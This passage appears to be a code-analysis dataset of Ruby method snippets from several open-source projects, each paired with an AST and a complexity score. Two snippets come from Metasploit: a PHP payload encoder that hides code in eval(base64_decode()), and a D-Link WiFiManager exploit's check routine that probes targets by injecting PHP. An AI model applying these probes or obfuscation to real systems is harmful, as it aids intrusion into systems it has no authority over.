{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2436,"raw_source":"def builds_enabled?\n !!project_feature&.builds_enabled?\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"builds_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_feature\"]},\"builds_enabled?\"]},\"!\"]},\"!\"]}]}","id":"40b3f25d-5243-42cf-8e19-7edde027eef7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":182,"raw_source":"def new_commits(newrev)\n commits = raw.new_commits(newrev)\n\n ::Commit.decorate(commits, container)\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"new_commits\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"newrev\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commits\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"new_commits\",{\"type\":\"lvar\",\"children\":[\"newrev\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Commit\"]},\"decorate\",{\"type\":\"lvar\",\"children\":[\"commits\"]},{\"type\":\"send\",\"children\":[null,\"container\"]}]}]}]}","id":"e3ed5747-34d2-48cb-82b7-3cc5f6b27f27"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/adapters/git.rb","start_line":187,"raw_source":"def info\n Info.new(root_url: url, lastrev: lastrev(\"\", nil))\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Info\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_url\"]},{\"type\":\"send\",\"children\":[null,\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lastrev\"]},{\"type\":\"send\",\"children\":[null,\"lastrev\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"0ac88cf7-3df6-47db-92fe-345b85bd5b73"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/route_set.rb","start_line":95,"raw_source":"def route_defined?(name)\n key = name.to_sym\n @path_helpers.include?(key) || @url_helpers.include?(key)\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"route_defined?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@path_helpers\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@url_helpers\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}","id":"2b391c2b-987a-47ee-a581-9cd17e17ccea"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/base.rb","start_line":871,"raw_source":"def update_category_featured_topics\n puts \"\", \"Updating featured topics in categories\"\n\n count = 0\n total = Category.count\n\n Category.find_each do |category|\n CategoryFeaturedTopic.feature_topics_for(category)\n print_status(count += 1, total, get_start_time(\"category_featured_topics\"))\n end\n end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update_category_featured_topics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Updating featured topics in categories\"]}]},{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"total\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CategoryFeaturedTopic\"]},\"feature_topics_for\",{\"type\":\"lvar\",\"children\":[\"category\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"total\"]},{\"type\":\"send\",\"children\":[null,\"get_start_time\",{\"type\":\"str\",\"children\":[\"category_featured_topics\"]}]}]}]}]}]}]}","id":"4147ea18-c90e-433a-8498-47214bc33462"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/lib/open_project/boards/grid_registration.rb","start_line":70,"raw_source":"def in_project_with_permission(user, permission)\n super_visible\n .where(project_id: Project.allowed_to(user, permission))\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"in_project_with_permission\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"permission\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"super_visible\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"allowed_to\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"permission\"]}]}]}]}]}]}","id":"91f9fb70-45f8-4d79-896c-f1db7dc855ca"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/attachment_batch.rb","start_line":133,"raw_source":"def bucket\n @bucket ||= records.first.public_send(@attachment_names.first).s3_bucket\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"bucket\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@bucket\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"records\"]},\"first\"]},\"public_send\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attachment_names\"]},\"first\"]}]},\"s3_bucket\"]}]}]}","id":"99ff73e0-73f8-42c7-95b5-5c2c10cdebf8"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/team_planner/app/menus/team_planner/menu.rb","start_line":32,"raw_source":"def initialize(project: nil, params: nil)\n @view_type = \"team_planner\"\n @project = project\n @params = params\n\n super(view_type:, project:, params:)\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"project\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"params\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@view_type\",{\"type\":\"str\",\"children\":[\"team_planner\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"view_type\"]},{\"type\":\"send\",\"children\":[null,\"view_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]}","id":"20f22753-ae4b-48ee-ab90-d2a57507a728"} {"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/ext_management_system_spec.rb","start_line":667,"raw_source":"def deliver_queue_message(queue_message = MiqQueue.order(:id).first)\n queue_message.deliver_and_process\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deliver_queue_message\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"queue_message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"first\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue_message\"]},\"deliver_and_process\"]}]}","id":"a197c22e-c2dd-4edb-a277-7e3ae0182e91"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/create_service.rb","start_line":145,"raw_source":"def organization_setting_valid?\n # we check for the params presence explicitly since:\n # 1. We have a default organization_id at db level set and organization exists and may not have the entry\n # in organization_users table to allow authorization. This shouldn't be the case longterm as we\n # plan on populating organization_users correctly.\n # 2. We shouldn't need to check if this is allowed if the user didn't try to set it themselves. i.e.\n # provided in the params\n return true if params[:organization_id].blank?\n # There is a chance the organization is still blank(if not default organization), but that is the only case\n # where we should allow this to not actually be a record in the database.\n # Otherwise it isn't valid to set this to a non-existent record id and we'll check that in the lines after\n # this code.\n return true if @group.organization.blank? && Organizations::Organization.default?(params[:organization_id])\n\n can_create_group_in_organization? && matches_parent_organization?\n end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"organization_setting_valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"organization_id\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group\"]},\"organization\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Organizations\"]},\"Organization\"]},\"default?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"organization_id\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_create_group_in_organization?\"]},{\"type\":\"send\",\"children\":[null,\"matches_parent_organization?\"]}]}]}]}","id":"6aa39846-f0f4-44f8-8512-e5c17696cd71"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/encoders/php/base64.rb","start_line":9,"raw_source":"def initialize\n super(\n 'Name' => 'PHP Base64 Encoder',\n 'Description' => %q{\n This encoder returns a base64 string encapsulated in\n eval(base64_decode()), increasing the size by a bit more than\n one third.\n },\n 'Author' => 'egypt',\n 'License' => BSD_LICENSE,\n 'Arch' => ARCH_PHP)\n register_options(\n [\n OptBool.new('Compress', [ true, 'Compress the payload with zlib', false ]) # Disabled by default as it relies on having php compiled with zlib, which might not be available on come exotic setups.\n ]\n )\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"PHP Base64 Encoder\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This encoder returns a base64 string encapsulated in\\n\"]},{\"type\":\"str\",\"children\":[\" eval(base64_decode()), increasing the size by a bit more than\\n\"]},{\"type\":\"str\",\"children\":[\" one third.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"egypt\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"BSD_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"Compress\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Compress the payload with zlib\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"c22bf437-bfe8-43af-87cb-f43b278db21a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/creates_commit.rb","start_line":169,"raw_source":"def create_merge_request?\n # Even if the field is set, if we're checking the same branch\n # as the target branch in the same project,\n # we don't want to create a merge request.\n # FIXME: We should use either 1 or true, not both.\n ActiveModel::Type::Boolean.new.cast(params[:create_merge_request]) &&\n (@different_project || @start_branch != @branch_name) # rubocop:disable Gitlab/ModuleWithInstanceVariables\n end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create_merge_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Type\"]},\"Boolean\"]},\"new\"]},\"cast\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"create_merge_request\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@different_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@start_branch\"]},\"!=\",{\"type\":\"ivar\",\"children\":[\"@branch_name\"]}]}]}]}]}]}","id":"9eddcf63-bdec-4a5e-90ba-d141c0e5a35b"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/site_serializer.rb","start_line":386,"raw_source":"def system_user_avatar_template\n Discourse.system_user.avatar_template\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"system_user_avatar_template\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]},\"avatar_template\"]}]}","id":"6cb18150-e370-4586-b2e6-87931db79f83"} {"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/api.rb","start_line":601,"raw_source":"def retry\n remove_job do |message|\n msg = Sidekiq.load_json(message)\n msg[\"retry_count\"] -= 1 if msg[\"retry_count\"]\n Sidekiq::Client.push(msg)\n end\n end","complexity_score":8.33,"ast_json":"{\"type\":\"def\",\"children\":[\"retry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_job\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"load_json\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]\",{\"type\":\"str\",\"children\":[\"retry_count\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]\",{\"type\":\"str\",\"children\":[\"retry_count\"]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Client\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"5d03a038-3ebb-4c46-a1f9-58d43adc8e62"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/container_project.rb","start_line":118,"raw_source":"def self.create_container_project(ems_id, options = {})\n ems = ExtManagementSystem.find_by(:id => ems_id)\n raise ArgumentError, _(\"EMS cannot be nil\") if ems.nil?\n\n klass = ems.class_by_ems(:ContainerProject)\n klass.raw_create_container_project(ems, options)\n end","complexity_score":10.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_container_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ems_id\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ems\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExtManagementSystem\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ems_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"EMS cannot be nil\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"class_by_ems\",{\"type\":\"sym\",\"children\":[\"ContainerProject\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"raw_create_container_project\",{\"type\":\"lvar\",\"children\":[\"ems\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"c5c8b9e7-f0e8-4281-a111-e4a827dca91e"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/scheduled_status.rb","start_line":29,"raw_source":"def validate_future_date\n errors.add(:scheduled_at, I18n.t('scheduled_statuses.too_soon')) if scheduled_at.present? && scheduled_at <= Time.now.utc + MINIMUM_OFFSET\n end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_future_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scheduled_at\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scheduled_at\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"MINIMUM_OFFSET\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"scheduled_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"scheduled_statuses.too_soon\"]}]}]},null]}]}","id":"90f17d28-c922-41c6-89de-48cf5f6d794c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/dlink_central_wifimanager_rce.rb","start_line":69,"raw_source":"def check\n rand_text = Rex::Text.rand_text_alphanumeric(rand(4..10))\n if inject_php(\"echo \\\"#{rand_text}\\\"\")&.chomp == rand_text\n return Exploit::CheckCode::Vulnerable\n end\n\n Exploit::CheckCode::Unknown\n end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rand_text\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[10]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inject_php\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand_text\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},\"chomp\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"rand_text\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}","id":"5581e2a3-2a91-444b-9ddd-dbd98c0a075a"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/services/storages/managed_folder_sync_service.rb","start_line":36,"raw_source":"def call(storage)\n new(storage).call\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"storage\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]},\"call\"]}]}","id":"645994fe-7fb2-4e53-9116-da35638c9270"} {"repo_name":"forem","file_path":"./repos/forem/app/models/article.rb","start_line":930,"raw_source":"def ordered_tag_adjustments\n tag_adjustments.includes(:user).order(:created_at).reverse\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ordered_tag_adjustments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_adjustments\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"order\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]},\"reverse\"]}]}","id":"aa82586e-029e-48c8-966e-c10dd0b63279"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/file_depot_ftp.rb","start_line":67,"raw_source":"def connect(cred_hash = nil)\n host = URI(uri).hostname\n\n begin\n _log.info(\"Connecting to #{self.class.name}: #{name} host: #{host}...\")\n @ftp = Net::FTP.new(host)\n @ftp.passive = true # Use passive mode to avoid firewall issues see http://slacksite.com/other/ftp.html#passive\n # @ftp.debug_mode = true if settings[:debug] # TODO: add debug option\n creds = cred_hash ? [cred_hash[:username], cred_hash[:password]] : login_credentials\n @ftp.login(*creds)\n _log.info(\"Connected to #{self.class.name}: #{name} host: #{host}\")\n rescue SocketError => err\n _log.error(\"Failed to connect. #{err.message}\")\n raise\n rescue Net::FTPPermError => err\n _log.error(\"Failed to login. #{err.message}\")\n raise\n else\n @ftp\n end\n end","complexity_score":43.5,"ast_json":"{\"type\":\"def\",\"children\":[\"connect\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"cred_hash\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[null,\"uri\"]}]},\"hostname\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connecting to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\" host: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@ftp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"FTP\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"host\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ftp\"]},\"passive=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"creds\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_hash\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"send\",\"children\":[null,\"login_credentials\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ftp\"]},\"login\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connected to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\" host: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SocketError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to connect. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"FTPPermError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to login. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@ftp\"]}]}]}]}]}","id":"582983e1-4078-428c-8dca-724c229f1467"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian/user_guardian.rb","start_line":158,"raw_source":"def can_see_user_actions?(user, action_types)\n return true if !@user.anonymous? && (is_me?(user) || is_admin?)\n return false if SiteSetting.hide_user_activity_tab?\n (action_types & UserAction.private_types).empty?\n 